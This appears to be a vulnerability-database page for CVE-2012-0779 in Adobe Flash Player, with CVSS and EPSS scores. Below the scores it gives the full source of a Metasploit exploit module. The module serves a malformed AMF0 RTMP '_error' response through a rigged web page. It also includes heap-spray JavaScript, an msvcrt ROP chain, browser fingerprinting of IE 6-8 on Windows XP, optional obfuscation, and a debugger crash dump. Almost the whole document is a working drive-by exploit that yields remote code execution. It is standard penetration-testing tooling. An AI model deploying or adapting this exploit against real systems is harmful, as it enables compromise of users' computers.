9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.714 High
EPSS
Percentile
98.0%
This module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt AMF0 β_errorβ response, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the βWorld Uyghur Congress Invitation.docβ e-mail attack. According to the advisory, 10.3.183.19 and 11.x before 11.2.202.235 are affected.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:method => "GetVariable",
:classid => "ShockwaveFlash.ShockwaveFlash",
:rank => NormalRanking, # reliable memory corruption
:javascript => true
})
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Object Type Confusion",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash
Player. By supplying a corrupt AMF0 "_error" response, it
is possible to gain arbitrary remote code execution under
the context of the user.
This vulnerability has been exploited in the wild as part of
the "World Uyghur Congress Invitation.doc" e-mail attack.
According to the advisory, 10.3.183.19 and 11.x before
11.2.202.235 are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0779' ],
[ 'OSVDB', '81656'],
[ 'BID', '53395' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]
],
'Payload' =>
{
#'Space' => 1024,
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
# Flash Player 11.2.202.228
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'RandomHeap' => false,
'Offset' => '0x0'
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'RandomHeap' => false,
'Offset' => '0x0'
}
],
[
'IE 8 on Windows XP SP3 with msvcrt ROP',
{
'Rop' => :msvcrt,
'RandomHeap' => false,
'Offset' => '238',
'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => '2012-05-04',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),
], self.class
)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end
def ret(t)
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
end
def get_rop_chain(t)
print_status("Using msvcrt ROP")
p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
p << payload.encoded
code = ret(t)
code << rand_text(119)
code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
offset = 2616 - code.length
code << rand_text(offset)
code << [ t['StackPivot'] ].pack("V")
return code
end
def get_easy_spray(t, js_code, js_nops)
randnop = rand_text_alpha(rand(100) + 1)
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var z=1; z < 0x185; z++) {
heap_obj.alloc(block);
}
JS
return spray
end
def get_aligned_spray(t, js_rop, js_nops)
randnop = rand_text_alpha(rand(100) + 1)
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
var rop_chain = unescape("#{js_rop}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var z=1; z < 0x1c5; z++) {
heap_obj.alloc(block);
}
JS
return spray
end
def exploit
@swf = create_swf
# Boilerplate required to handled pivoted listeners
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
@rtmp_listener = Rex::Socket::TcpServer.create(
'LocalHost' => datastore['RTMPHOST'],
'LocalPort' => datastore['RTMPPORT'],
'Comm' => comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self,
}
)
# Register callbacks
@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
add_socket(cli)
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
on_rtmp_connect(cli)
}
@rtmp_listener.start
super
end
def my_read(cli,size,timeout=nil)
if timeout.nil?
timeout = cli.def_read_timeout
end
buf = ""
::Timeout::timeout(timeout) {
while buf.length < size
buf << cli.get_once(size - buf.length)
end
}
buf
end
def do_handshake(cli)
c0 = my_read(cli, 1)
c1 = my_read(cli, 1536) # HandshakeSize => 1536
s0 = "\3" # s0
s1 = Rex::Text.rand_text(4) # s1.time
s1 << "\x00\x00\x00\x00" # s1.zero
s1 << Rex::Text.rand_text(1528) # s1.random_data
s2 = c1 # s2
cli.put(s0)
cli.put(s1)
cli.put(s2)
c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
end
def on_rtmp_connect(cli)
begin
do_handshake(cli)
request = my_read(cli, 341) # connect request length
case request
when /connect/
rtmp_header = "\x03" # Chunk Stream ID
rtmp_header << "\x00\x00\x00" # Timestamp
rtmp_header << "\x00\x00\x71" # Body Size
rtmp_header << "\x14" # AMF0 Command
rtmp_header << "\x00\x00\x00\x00" # Stream ID
# String
rtmp_body = "\x02" # String
rtmp_body << "\x00\x06" # String length
rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
# Array
rtmp_body << "\x0a" # AMF Type: Array
rtmp_body << "\x00\x00\x00\x05" # Array length: 5
# Array elements
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Crafter Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
# Number
rtmp_body << "\x00" # AMF Type: Number
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
trigger = rtmp_header
trigger << rtmp_body
cli.put(trigger)
@rtmp_listener.close_client(cli)
end
rescue
ensure
@rtmp_listener.close_client(cli)
remove_socket(cli)
end
end
def cleanup
super
return if not @rtmp_listener
begin
@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
if @rtmp_listener.kind_of?(Rex::Socket)
@rtmp_listener.close
@rtmp_listener.stop
end
@rtmp_listener = nil
rescue ::Exception
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending Exploit SWF")
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
if not my_target['Rop'].nil?
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
js = get_aligned_spray(my_target, js_rop, js_nops)
else
js = get_easy_spray(my_target, js_code, js_nops)
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
end
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"
if datastore['RTMPHOST'] == '0.0.0.0'
rtmp_host = Rex::Socket.source_address('1.2.3.4')
else
rtmp_host = datastore['RTMPHOST']
end
rtmp_port = datastore['RTMPPORT']
html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer"
FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
</embed>
</object>
</center>
</body>
</html>
|
html = html.gsub(/^ {4}/, '')
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0779.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
end
=begin
* Flash Player 11.2.202.228
(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????
0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax
=end